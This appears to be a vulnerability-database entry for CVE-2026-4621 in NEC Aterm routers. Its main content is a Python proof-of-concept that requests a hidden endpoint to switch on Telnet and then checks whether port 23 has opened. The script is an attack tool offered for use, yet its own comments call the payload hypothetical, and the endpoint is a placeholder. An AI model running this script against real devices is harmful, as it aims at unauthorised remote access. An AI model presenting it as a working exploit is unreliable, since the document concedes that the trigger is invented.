cpe:2.3:h:nec:aterm_wg2600hp4:-:*:*:*:*:*:*:* - NOT VULNERABLE
NEC Platforms, Ltd. Aterm Series (具体受影响版本请参考厂商安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import sys
# Proof of Concept for CVE-2026-4621
# Description: This script attempts to trigger the hidden functionality to enable Telnet.
# Note: The specific payload (magic packet) usually requires firmware analysis or reverse engineering.
# This script demonstrates the network interaction logic.
def send_trigger_packet(target_ip, target_port=80):
try:
# Construct a hypothetical payload that triggers the hidden function
# In a real scenario, this byte sequence is derived from reversing the firmware.
# Common patterns include specific headers or command strings.
payload = b"GET /hidden_enable_telnet_endpoint HTTP/1.1\r\nHost: \r\n\r\n"
print(f"[*] Sending trigger packet to {target_ip}:{target_port}...")
# Create a socket connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target_ip, target_port))
sock.sendall(payload)
response = sock.recv(1024)
print(f"[*] Received response: {response.decode('utf-8', errors='ignore')}")
# Check if Telnet port (23) is now open
print("[*] Checking if Telnet (port 23) is enabled...")
telnet_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
telnet_sock.settimeout(2)
result = telnet_sock.connect_ex((target_ip, 23))
if result == 0:
print("[+] SUCCESS: Telnet port is open! Vulnerability likely exploited.")
else:
print("[-] FAILED: Telnet port remains closed. Payload may be incorrect or device patched.")
telnet_sock.close()
sock.close()
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python poc.py <target_ip> [port]")
print("Example: python poc.py 192.168.1.1 80")
else:
ip = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
send_trigger_packet(ip, port)